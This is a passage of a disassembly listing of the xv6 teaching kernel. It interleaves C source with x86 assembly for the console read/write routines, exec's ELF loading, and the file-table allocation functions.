80100964: e8 f2 0e 00 00 call 8010185b <ilock>
return -1;
80100969: b8 ff ff ff ff mov $0xffffffff,%eax
8010096e: e9 a5 00 00 00 jmp 80100a18 <consoleread+0xfd>
}
sleep(&input.r, &input.lock);
80100973: c7 44 24 04 80 07 11 movl $0x80110780,0x4(%esp)
8010097a: 80
8010097b: c7 04 24 34 08 11 80 movl $0x80110834,(%esp)
80100982: e8 c0 41 00 00 call 80104b47 <sleep>
iunlock(ip);
target = n;
acquire(&input.lock);
while(n > 0){
while(input.r == input.w){
80100987: 8b 15 34 08 11 80 mov 0x80110834,%edx
8010098d: a1 38 08 11 80 mov 0x80110838,%eax
80100992: 39 c2 cmp %eax,%edx
80100994: 74 af je 80100945 <consoleread+0x2a>
ilock(ip);
return -1;
}
sleep(&input.r, &input.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
80100996: a1 34 08 11 80 mov 0x80110834,%eax
8010099b: 8d 50 01 lea 0x1(%eax),%edx
8010099e: 89 15 34 08 11 80 mov %edx,0x80110834
801009a4: 83 e0 7f and $0x7f,%eax
801009a7: 0f b6 80 b4 07 11 80 movzbl -0x7feef84c(%eax),%eax
801009ae: 0f be c0 movsbl %al,%eax
801009b1: 89 45 f0 mov %eax,-0x10(%ebp)
if(c == C('D')){ // EOF
801009b4: 83 7d f0 04 cmpl $0x4,-0x10(%ebp)
801009b8: 75 19 jne 801009d3 <consoleread+0xb8>
if(n < target){
801009ba: 8b 45 10 mov 0x10(%ebp),%eax
801009bd: 3b 45 f4 cmp -0xc(%ebp),%eax
801009c0: 73 0f jae 801009d1 <consoleread+0xb6>
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
801009c2: a1 34 08 11 80 mov 0x80110834,%eax
801009c7: 83 e8 01 sub $0x1,%eax
801009ca: a3 34 08 11 80 mov %eax,0x80110834
}
break;
801009cf: eb 26 jmp 801009f7 <consoleread+0xdc>
801009d1: eb 24 jmp 801009f7 <consoleread+0xdc>
}
*dst++ = c;
801009d3: 8b 45 0c mov 0xc(%ebp),%eax
801009d6: 8d 50 01 lea 0x1(%eax),%edx
801009d9: 89 55 0c mov %edx,0xc(%ebp)
801009dc: 8b 55 f0 mov -0x10(%ebp),%edx
801009df: 88 10 mov %dl,(%eax)
--n;
801009e1: 83 6d 10 01 subl $0x1,0x10(%ebp)
if(c == '\n')
801009e5: 83 7d f0 0a cmpl $0xa,-0x10(%ebp)
801009e9: 75 02 jne 801009ed <consoleread+0xd2>
break;
801009eb: eb 0a jmp 801009f7 <consoleread+0xdc>
int c;
iunlock(ip);
target = n;
acquire(&input.lock);
while(n > 0){
801009ed: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801009f1: 0f 8f 4c ff ff ff jg 80100943 <consoleread+0x28>
*dst++ = c;
--n;
if(c == '\n')
break;
}
release(&input.lock);
801009f7: c7 04 24 80 07 11 80 movl $0x80110780,(%esp)
801009fe: e8 70 44 00 00 call 80104e73 <release>
ilock(ip);
80100a03: 8b 45 08 mov 0x8(%ebp),%eax
80100a06: 89 04 24 mov %eax,(%esp)
80100a09: e8 4d 0e 00 00 call 8010185b <ilock>
return target - n;
80100a0e: 8b 45 10 mov 0x10(%ebp),%eax
80100a11: 8b 55 f4 mov -0xc(%ebp),%edx
80100a14: 29 c2 sub %eax,%edx
80100a16: 89 d0 mov %edx,%eax
}
80100a18: c9 leave
80100a19: c3 ret
80100a1a <consolewrite>:
int
consolewrite(struct inode *ip, char *buf, int n)
{
80100a1a: 55 push %ebp
80100a1b: 89 e5 mov %esp,%ebp
80100a1d: 83 ec 28 sub $0x28,%esp
int i;
iunlock(ip);
80100a20: 8b 45 08 mov 0x8(%ebp),%eax
80100a23: 89 04 24 mov %eax,(%esp)
80100a26: e8 7e 0f 00 00 call 801019a9 <iunlock>
acquire(&cons.lock);
80100a2b: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100a32: e8 da 43 00 00 call 80104e11 <acquire>
for(i = 0; i < n; i++)
80100a37: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80100a3e: eb 1d jmp 80100a5d <consolewrite+0x43>
consputc(buf[i] & 0xff);
80100a40: 8b 55 f4 mov -0xc(%ebp),%edx
80100a43: 8b 45 0c mov 0xc(%ebp),%eax
80100a46: 01 d0 add %edx,%eax
80100a48: 0f b6 00 movzbl (%eax),%eax
80100a4b: 0f be c0 movsbl %al,%eax
80100a4e: 0f b6 c0 movzbl %al,%eax
80100a51: 89 04 24 mov %eax,(%esp)
80100a54: e8 f7 fc ff ff call 80100750 <consputc>
{
int i;
iunlock(ip);
acquire(&cons.lock);
for(i = 0; i < n; i++)
80100a59: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100a5d: 8b 45 f4 mov -0xc(%ebp),%eax
80100a60: 3b 45 10 cmp 0x10(%ebp),%eax
80100a63: 7c db jl 80100a40 <consolewrite+0x26>
consputc(buf[i] & 0xff);
release(&cons.lock);
80100a65: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100a6c: e8 02 44 00 00 call 80104e73 <release>
ilock(ip);
80100a71: 8b 45 08 mov 0x8(%ebp),%eax
80100a74: 89 04 24 mov %eax,(%esp)
80100a77: e8 df 0d 00 00 call 8010185b <ilock>
return n;
80100a7c: 8b 45 10 mov 0x10(%ebp),%eax
}
80100a7f: c9 leave
80100a80: c3 ret
80100a81 <consoleinit>:
void
consoleinit(void)
{
80100a81: 55 push %ebp
80100a82: 89 e5 mov %esp,%ebp
80100a84: 83 ec 18 sub $0x18,%esp
initlock(&cons.lock, "console");
80100a87: c7 44 24 04 ef 86 10 movl $0x801086ef,0x4(%esp)
80100a8e: 80
80100a8f: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100a96: e8 55 43 00 00 call 80104df0 <initlock>
initlock(&input.lock, "input");
80100a9b: c7 44 24 04 f7 86 10 movl $0x801086f7,0x4(%esp)
80100aa2: 80
80100aa3: c7 04 24 80 07 11 80 movl $0x80110780,(%esp)
80100aaa: e8 41 43 00 00 call 80104df0 <initlock>
devsw[CONSOLE].write = consolewrite;
80100aaf: c7 05 ec 11 11 80 1a movl $0x80100a1a,0x801111ec
80100ab6: 0a 10 80
devsw[CONSOLE].read = consoleread;
80100ab9: c7 05 e8 11 11 80 1b movl $0x8010091b,0x801111e8
80100ac0: 09 10 80
cons.locking = 1;
80100ac3: c7 05 f4 b5 10 80 01 movl $0x1,0x8010b5f4
80100aca: 00 00 00
picenable(IRQ_KBD);
80100acd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80100ad4: e8 f9 32 00 00 call 80103dd2 <picenable>
ioapicenable(IRQ_KBD, 0);
80100ad9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100ae0: 00
80100ae1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80100ae8: e8 70 1e 00 00 call 8010295d <ioapicenable>
}
80100aed: c9 leave
80100aee: c3 ret
80100aef <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
80100aef: 55 push %ebp
80100af0: 89 e5 mov %esp,%ebp
80100af2: 81 ec 38 01 00 00 sub $0x138,%esp
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
begin_op();
80100af8: e8 13 29 00 00 call 80103410 <begin_op>
if((ip = namei(path)) == 0){
80100afd: 8b 45 08 mov 0x8(%ebp),%eax
80100b00: 89 04 24 mov %eax,(%esp)
80100b03: e8 fe 18 00 00 call 80102406 <namei>
80100b08: 89 45 d8 mov %eax,-0x28(%ebp)
80100b0b: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
80100b0f: 75 0f jne 80100b20 <exec+0x31>
end_op();
80100b11: e8 7e 29 00 00 call 80103494 <end_op>
return -1;
80100b16: b8 ff ff ff ff mov $0xffffffff,%eax
80100b1b: e9 e8 03 00 00 jmp 80100f08 <exec+0x419>
}
ilock(ip);
80100b20: 8b 45 d8 mov -0x28(%ebp),%eax
80100b23: 89 04 24 mov %eax,(%esp)
80100b26: e8 30 0d 00 00 call 8010185b <ilock>
pgdir = 0;
80100b2b: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) < sizeof(elf))
80100b32: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp)
80100b39: 00
80100b3a: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80100b41: 00
80100b42: 8d 85 0c ff ff ff lea -0xf4(%ebp),%eax
80100b48: 89 44 24 04 mov %eax,0x4(%esp)
80100b4c: 8b 45 d8 mov -0x28(%ebp),%eax
80100b4f: 89 04 24 mov %eax,(%esp)
80100b52: e8 11 12 00 00 call 80101d68 <readi>
80100b57: 83 f8 33 cmp $0x33,%eax
80100b5a: 77 05 ja 80100b61 <exec+0x72>
goto bad;
80100b5c: e9 7b 03 00 00 jmp 80100edc <exec+0x3ed>
if(elf.magic != ELF_MAGIC)
80100b61: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100b67: 3d 7f 45 4c 46 cmp $0x464c457f,%eax
80100b6c: 74 05 je 80100b73 <exec+0x84>
goto bad;
80100b6e: e9 69 03 00 00 jmp 80100edc <exec+0x3ed>
if((pgdir = setupkvm()) == 0)
80100b73: e8 58 70 00 00 call 80107bd0 <setupkvm>
80100b78: 89 45 d4 mov %eax,-0x2c(%ebp)
80100b7b: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
80100b7f: 75 05 jne 80100b86 <exec+0x97>
goto bad;
80100b81: e9 56 03 00 00 jmp 80100edc <exec+0x3ed>
// Load program into memory.
sz = 0;
80100b86: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100b8d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
80100b94: 8b 85 28 ff ff ff mov -0xd8(%ebp),%eax
80100b9a: 89 45 e8 mov %eax,-0x18(%ebp)
80100b9d: e9 cb 00 00 00 jmp 80100c6d <exec+0x17e>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100ba2: 8b 45 e8 mov -0x18(%ebp),%eax
80100ba5: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp)
80100bac: 00
80100bad: 89 44 24 08 mov %eax,0x8(%esp)
80100bb1: 8d 85 ec fe ff ff lea -0x114(%ebp),%eax
80100bb7: 89 44 24 04 mov %eax,0x4(%esp)
80100bbb: 8b 45 d8 mov -0x28(%ebp),%eax
80100bbe: 89 04 24 mov %eax,(%esp)
80100bc1: e8 a2 11 00 00 call 80101d68 <readi>
80100bc6: 83 f8 20 cmp $0x20,%eax
80100bc9: 74 05 je 80100bd0 <exec+0xe1>
goto bad;
80100bcb: e9 0c 03 00 00 jmp 80100edc <exec+0x3ed>
if(ph.type != ELF_PROG_LOAD)
80100bd0: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100bd6: 83 f8 01 cmp $0x1,%eax
80100bd9: 74 05 je 80100be0 <exec+0xf1>
continue;
80100bdb: e9 80 00 00 00 jmp 80100c60 <exec+0x171>
if(ph.memsz < ph.filesz)
80100be0: 8b 95 00 ff ff ff mov -0x100(%ebp),%edx
80100be6: 8b 85 fc fe ff ff mov -0x104(%ebp),%eax
80100bec: 39 c2 cmp %eax,%edx
80100bee: 73 05 jae 80100bf5 <exec+0x106>
goto bad;
80100bf0: e9 e7 02 00 00 jmp 80100edc <exec+0x3ed>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100bf5: 8b 95 f4 fe ff ff mov -0x10c(%ebp),%edx
80100bfb: 8b 85 00 ff ff ff mov -0x100(%ebp),%eax
80100c01: 01 d0 add %edx,%eax
80100c03: 89 44 24 08 mov %eax,0x8(%esp)
80100c07: 8b 45 e0 mov -0x20(%ebp),%eax
80100c0a: 89 44 24 04 mov %eax,0x4(%esp)
80100c0e: 8b 45 d4 mov -0x2c(%ebp),%eax
80100c11: 89 04 24 mov %eax,(%esp)
80100c14: e8 81 73 00 00 call 80107f9a <allocuvm>
80100c19: 89 45 e0 mov %eax,-0x20(%ebp)
80100c1c: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80100c20: 75 05 jne 80100c27 <exec+0x138>
goto bad;
80100c22: e9 b5 02 00 00 jmp 80100edc <exec+0x3ed>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100c27: 8b 8d fc fe ff ff mov -0x104(%ebp),%ecx
80100c2d: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx
80100c33: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c39: 89 4c 24 10 mov %ecx,0x10(%esp)
80100c3d: 89 54 24 0c mov %edx,0xc(%esp)
80100c41: 8b 55 d8 mov -0x28(%ebp),%edx
80100c44: 89 54 24 08 mov %edx,0x8(%esp)
80100c48: 89 44 24 04 mov %eax,0x4(%esp)
80100c4c: 8b 45 d4 mov -0x2c(%ebp),%eax
80100c4f: 89 04 24 mov %eax,(%esp)
80100c52: e8 58 72 00 00 call 80107eaf <loaduvm>
80100c57: 85 c0 test %eax,%eax
80100c59: 79 05 jns 80100c60 <exec+0x171>
goto bad;
80100c5b: e9 7c 02 00 00 jmp 80100edc <exec+0x3ed>
if((pgdir = setupkvm()) == 0)
goto bad;
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100c60: 83 45 ec 01 addl $0x1,-0x14(%ebp)
80100c64: 8b 45 e8 mov -0x18(%ebp),%eax
80100c67: 83 c0 20 add $0x20,%eax
80100c6a: 89 45 e8 mov %eax,-0x18(%ebp)
80100c6d: 0f b7 85 38 ff ff ff movzwl -0xc8(%ebp),%eax
80100c74: 0f b7 c0 movzwl %ax,%eax
80100c77: 3b 45 ec cmp -0x14(%ebp),%eax
80100c7a: 0f 8f 22 ff ff ff jg 80100ba2 <exec+0xb3>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
80100c80: 8b 45 d8 mov -0x28(%ebp),%eax
80100c83: 89 04 24 mov %eax,(%esp)
80100c86: e8 54 0e 00 00 call 80101adf <iunlockput>
end_op();
80100c8b: e8 04 28 00 00 call 80103494 <end_op>
ip = 0;
80100c90: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp)
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
80100c97: 8b 45 e0 mov -0x20(%ebp),%eax
80100c9a: 05 ff 0f 00 00 add $0xfff,%eax
80100c9f: 25 00 f0 ff ff and $0xfffff000,%eax
80100ca4: 89 45 e0 mov %eax,-0x20(%ebp)
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100ca7: 8b 45 e0 mov -0x20(%ebp),%eax
80100caa: 05 00 20 00 00 add $0x2000,%eax
80100caf: 89 44 24 08 mov %eax,0x8(%esp)
80100cb3: 8b 45 e0 mov -0x20(%ebp),%eax
80100cb6: 89 44 24 04 mov %eax,0x4(%esp)
80100cba: 8b 45 d4 mov -0x2c(%ebp),%eax
80100cbd: 89 04 24 mov %eax,(%esp)
80100cc0: e8 d5 72 00 00 call 80107f9a <allocuvm>
80100cc5: 89 45 e0 mov %eax,-0x20(%ebp)
80100cc8: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80100ccc: 75 05 jne 80100cd3 <exec+0x1e4>
goto bad;
80100cce: e9 09 02 00 00 jmp 80100edc <exec+0x3ed>
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100cd3: 8b 45 e0 mov -0x20(%ebp),%eax
80100cd6: 2d 00 20 00 00 sub $0x2000,%eax
80100cdb: 89 44 24 04 mov %eax,0x4(%esp)
80100cdf: 8b 45 d4 mov -0x2c(%ebp),%eax
80100ce2: 89 04 24 mov %eax,(%esp)
80100ce5: e8 e0 74 00 00 call 801081ca <clearpteu>
sp = sz;
80100cea: 8b 45 e0 mov -0x20(%ebp),%eax
80100ced: 89 45 dc mov %eax,-0x24(%ebp)
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100cf0: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80100cf7: e9 9a 00 00 00 jmp 80100d96 <exec+0x2a7>
if(argc >= MAXARG)
80100cfc: 83 7d e4 1f cmpl $0x1f,-0x1c(%ebp)
80100d00: 76 05 jbe 80100d07 <exec+0x218>
goto bad;
80100d02: e9 d5 01 00 00 jmp 80100edc <exec+0x3ed>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100d07: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d0a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100d11: 8b 45 0c mov 0xc(%ebp),%eax
80100d14: 01 d0 add %edx,%eax
80100d16: 8b 00 mov (%eax),%eax
80100d18: 89 04 24 mov %eax,(%esp)
80100d1b: e8 af 45 00 00 call 801052cf <strlen>
80100d20: 8b 55 dc mov -0x24(%ebp),%edx
80100d23: 29 c2 sub %eax,%edx
80100d25: 89 d0 mov %edx,%eax
80100d27: 83 e8 01 sub $0x1,%eax
80100d2a: 83 e0 fc and $0xfffffffc,%eax
80100d2d: 89 45 dc mov %eax,-0x24(%ebp)
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100d30: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d33: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100d3a: 8b 45 0c mov 0xc(%ebp),%eax
80100d3d: 01 d0 add %edx,%eax
80100d3f: 8b 00 mov (%eax),%eax
80100d41: 89 04 24 mov %eax,(%esp)
80100d44: e8 86 45 00 00 call 801052cf <strlen>
80100d49: 83 c0 01 add $0x1,%eax
80100d4c: 89 c2 mov %eax,%edx
80100d4e: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d51: 8d 0c 85 00 00 00 00 lea 0x0(,%eax,4),%ecx
80100d58: 8b 45 0c mov 0xc(%ebp),%eax
80100d5b: 01 c8 add %ecx,%eax
80100d5d: 8b 00 mov (%eax),%eax
80100d5f: 89 54 24 0c mov %edx,0xc(%esp)
80100d63: 89 44 24 08 mov %eax,0x8(%esp)
80100d67: 8b 45 dc mov -0x24(%ebp),%eax
80100d6a: 89 44 24 04 mov %eax,0x4(%esp)
80100d6e: 8b 45 d4 mov -0x2c(%ebp),%eax
80100d71: 89 04 24 mov %eax,(%esp)
80100d74: e8 16 76 00 00 call 8010838f <copyout>
80100d79: 85 c0 test %eax,%eax
80100d7b: 79 05 jns 80100d82 <exec+0x293>
goto bad;
80100d7d: e9 5a 01 00 00 jmp 80100edc <exec+0x3ed>
ustack[3+argc] = sp;
80100d82: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d85: 8d 50 03 lea 0x3(%eax),%edx
80100d88: 8b 45 dc mov -0x24(%ebp),%eax
80100d8b: 89 84 95 40 ff ff ff mov %eax,-0xc0(%ebp,%edx,4)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100d92: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
80100d96: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d99: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100da0: 8b 45 0c mov 0xc(%ebp),%eax
80100da3: 01 d0 add %edx,%eax
80100da5: 8b 00 mov (%eax),%eax
80100da7: 85 c0 test %eax,%eax
80100da9: 0f 85 4d ff ff ff jne 80100cfc <exec+0x20d>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
80100daf: 8b 45 e4 mov -0x1c(%ebp),%eax
80100db2: 83 c0 03 add $0x3,%eax
80100db5: c7 84 85 40 ff ff ff movl $0x0,-0xc0(%ebp,%eax,4)
80100dbc: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
80100dc0: c7 85 40 ff ff ff ff movl $0xffffffff,-0xc0(%ebp)
80100dc7: ff ff ff
ustack[1] = argc;
80100dca: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dcd: 89 85 44 ff ff ff mov %eax,-0xbc(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100dd3: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dd6: 83 c0 01 add $0x1,%eax
80100dd9: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100de0: 8b 45 dc mov -0x24(%ebp),%eax
80100de3: 29 d0 sub %edx,%eax
80100de5: 89 85 48 ff ff ff mov %eax,-0xb8(%ebp)
sp -= (3+argc+1) * 4;
80100deb: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dee: 83 c0 04 add $0x4,%eax
80100df1: c1 e0 02 shl $0x2,%eax
80100df4: 29 45 dc sub %eax,-0x24(%ebp)
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100df7: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dfa: 83 c0 04 add $0x4,%eax
80100dfd: c1 e0 02 shl $0x2,%eax
80100e00: 89 44 24 0c mov %eax,0xc(%esp)
80100e04: 8d 85 40 ff ff ff lea -0xc0(%ebp),%eax
80100e0a: 89 44 24 08 mov %eax,0x8(%esp)
80100e0e: 8b 45 dc mov -0x24(%ebp),%eax
80100e11: 89 44 24 04 mov %eax,0x4(%esp)
80100e15: 8b 45 d4 mov -0x2c(%ebp),%eax
80100e18: 89 04 24 mov %eax,(%esp)
80100e1b: e8 6f 75 00 00 call 8010838f <copyout>
80100e20: 85 c0 test %eax,%eax
80100e22: 79 05 jns 80100e29 <exec+0x33a>
goto bad;
80100e24: e9 b3 00 00 00 jmp 80100edc <exec+0x3ed>
// Save program name for debugging.
for(last=s=path; *s; s++)
80100e29: 8b 45 08 mov 0x8(%ebp),%eax
80100e2c: 89 45 f4 mov %eax,-0xc(%ebp)
80100e2f: 8b 45 f4 mov -0xc(%ebp),%eax
80100e32: 89 45 f0 mov %eax,-0x10(%ebp)
80100e35: eb 17 jmp 80100e4e <exec+0x35f>
if(*s == '/')
80100e37: 8b 45 f4 mov -0xc(%ebp),%eax
80100e3a: 0f b6 00 movzbl (%eax),%eax
80100e3d: 3c 2f cmp $0x2f,%al
80100e3f: 75 09 jne 80100e4a <exec+0x35b>
last = s+1;
80100e41: 8b 45 f4 mov -0xc(%ebp),%eax
80100e44: 83 c0 01 add $0x1,%eax
80100e47: 89 45 f0 mov %eax,-0x10(%ebp)
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100e4a: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100e4e: 8b 45 f4 mov -0xc(%ebp),%eax
80100e51: 0f b6 00 movzbl (%eax),%eax
80100e54: 84 c0 test %al,%al
80100e56: 75 df jne 80100e37 <exec+0x348>
if(*s == '/')
last = s+1;
safestrcpy(proc->name, last, sizeof(proc->name));
80100e58: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e5e: 8d 50 6c lea 0x6c(%eax),%edx
80100e61: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80100e68: 00
80100e69: 8b 45 f0 mov -0x10(%ebp),%eax
80100e6c: 89 44 24 04 mov %eax,0x4(%esp)
80100e70: 89 14 24 mov %edx,(%esp)
80100e73: e8 0d 44 00 00 call 80105285 <safestrcpy>
// Commit to the user image.
oldpgdir = proc->pgdir;
80100e78: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e7e: 8b 40 04 mov 0x4(%eax),%eax
80100e81: 89 45 d0 mov %eax,-0x30(%ebp)
proc->pgdir = pgdir;
80100e84: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e8a: 8b 55 d4 mov -0x2c(%ebp),%edx
80100e8d: 89 50 04 mov %edx,0x4(%eax)
proc->sz = sz;
80100e90: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e96: 8b 55 e0 mov -0x20(%ebp),%edx
80100e99: 89 10 mov %edx,(%eax)
proc->tf->eip = elf.entry; // main
80100e9b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100ea1: 8b 40 18 mov 0x18(%eax),%eax
80100ea4: 8b 95 24 ff ff ff mov -0xdc(%ebp),%edx
80100eaa: 89 50 38 mov %edx,0x38(%eax)
proc->tf->esp = sp;
80100ead: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100eb3: 8b 40 18 mov 0x18(%eax),%eax
80100eb6: 8b 55 dc mov -0x24(%ebp),%edx
80100eb9: 89 50 44 mov %edx,0x44(%eax)
switchuvm(proc);
80100ebc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100ec2: 89 04 24 mov %eax,(%esp)
80100ec5: e8 04 6e 00 00 call 80107cce <switchuvm>
freevm(oldpgdir);
80100eca: 8b 45 d0 mov -0x30(%ebp),%eax
80100ecd: 89 04 24 mov %eax,(%esp)
80100ed0: e8 5b 72 00 00 call 80108130 <freevm>
return 0;
80100ed5: b8 00 00 00 00 mov $0x0,%eax
80100eda: eb 2c jmp 80100f08 <exec+0x419>
bad:
if(pgdir)
80100edc: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
80100ee0: 74 0b je 80100eed <exec+0x3fe>
freevm(pgdir);
80100ee2: 8b 45 d4 mov -0x2c(%ebp),%eax
80100ee5: 89 04 24 mov %eax,(%esp)
80100ee8: e8 43 72 00 00 call 80108130 <freevm>
if(ip){
80100eed: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
80100ef1: 74 10 je 80100f03 <exec+0x414>
iunlockput(ip);
80100ef3: 8b 45 d8 mov -0x28(%ebp),%eax
80100ef6: 89 04 24 mov %eax,(%esp)
80100ef9: e8 e1 0b 00 00 call 80101adf <iunlockput>
end_op();
80100efe: e8 91 25 00 00 call 80103494 <end_op>
}
return -1;
80100f03: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100f08: c9 leave
80100f09: c3 ret
80100f0a <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100f0a: 55 push %ebp
80100f0b: 89 e5 mov %esp,%ebp
80100f0d: 83 ec 18 sub $0x18,%esp
initlock(&ftable.lock, "ftable");
80100f10: c7 44 24 04 fd 86 10 movl $0x801086fd,0x4(%esp)
80100f17: 80
80100f18: c7 04 24 40 08 11 80 movl $0x80110840,(%esp)
80100f1f: e8 cc 3e 00 00 call 80104df0 <initlock>
}
80100f24: c9 leave
80100f25: c3 ret
80100f26 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100f26: 55 push %ebp
80100f27: 89 e5 mov %esp,%ebp
80100f29: 83 ec 28 sub $0x28,%esp
struct file *f;
acquire(&ftable.lock);
80100f2c: c7 04 24 40 08 11 80 movl $0x80110840,(%esp)
80100f33: e8 d9 3e 00 00 call 80104e11 <acquire>
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100f38: c7 45 f4 74 08 11 80 movl $0x80110874,-0xc(%ebp)
80100f3f: eb 29 jmp 80100f6a <filealloc+0x44>
if(f->ref == 0){
80100f41: 8b 45 f4 mov -0xc(%ebp),%eax
80100f44: 8b 40 04 mov 0x4(%eax),%eax
80100f47: 85 c0 test %eax,%eax
80100f49: 75 1b jne 80100f66 <filealloc+0x40>
f->ref = 1;
80100f4b: 8b 45 f4 mov -0xc(%ebp),%eax
80100f4e: c7 40 04 01 00 00 00 movl $0x1,0x4(%eax)
release(&ftable.lock);
80100f55: c7 04 24 40 08 11 80 movl $0x80110840,(%esp)
80100f5c: e8 12 3f 00 00 call 80104e73 <release>
return f;
80100f61: 8b 45 f4 mov -0xc(%ebp),%eax
80100f64: eb 1e jmp 80100f84 <filealloc+0x5e>
filealloc(void)
{
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100f66: 83 45 f4 18 addl $0x18,-0xc(%ebp)
80100f6a: 81 7d f4 d4 11 11 80 cmpl $0x801111d4,-0xc(%ebp)
80100f71: 72 ce jb 80100f41 <filealloc+0x1b>
f->ref = 1;
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
80100f73: c7 04 24 40 08 11 80 movl $0x80110840,(%esp)
80100f7a: e8 f4 3e 00 00 call 80104e73 <release>
return 0;
80100f7f: b8 00 00 00 00 mov $0x0,%eax
}
80100f84: c9 leave
80100f85: c3 ret
80100f86 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100f86: 55 push %ebp
80100f87: 89 e5 mov %esp,%ebp
80100f89: 83 ec 18 sub $0x18,%esp
acquire(&ftable.lock);
80100f8c: c7 04 24 40 08 11 80 movl $0x80110840,(%esp)
80100f93: e8 79 3e 00 00 call 80104e11 <acquire>
if(f->ref < 1)
80100f98: 8b 45 08 mov 0x8(%ebp),%eax
80100f9b: 8b 40 04 mov 0x4(%eax),%eax
80100f9e: 85 c0 test %eax,%eax
80100fa0: 7f 0c jg 80100fae <filedup+0x28>
panic("filedup");
80100fa2: c7 04 24 04 87 10 80 movl $0x80108704,(%esp)
80100fa9: e8 8c f5 ff ff call 8010053a <panic>
f->ref++;
80100fae: 8b 45 08 mov 0x8(%ebp),%eax
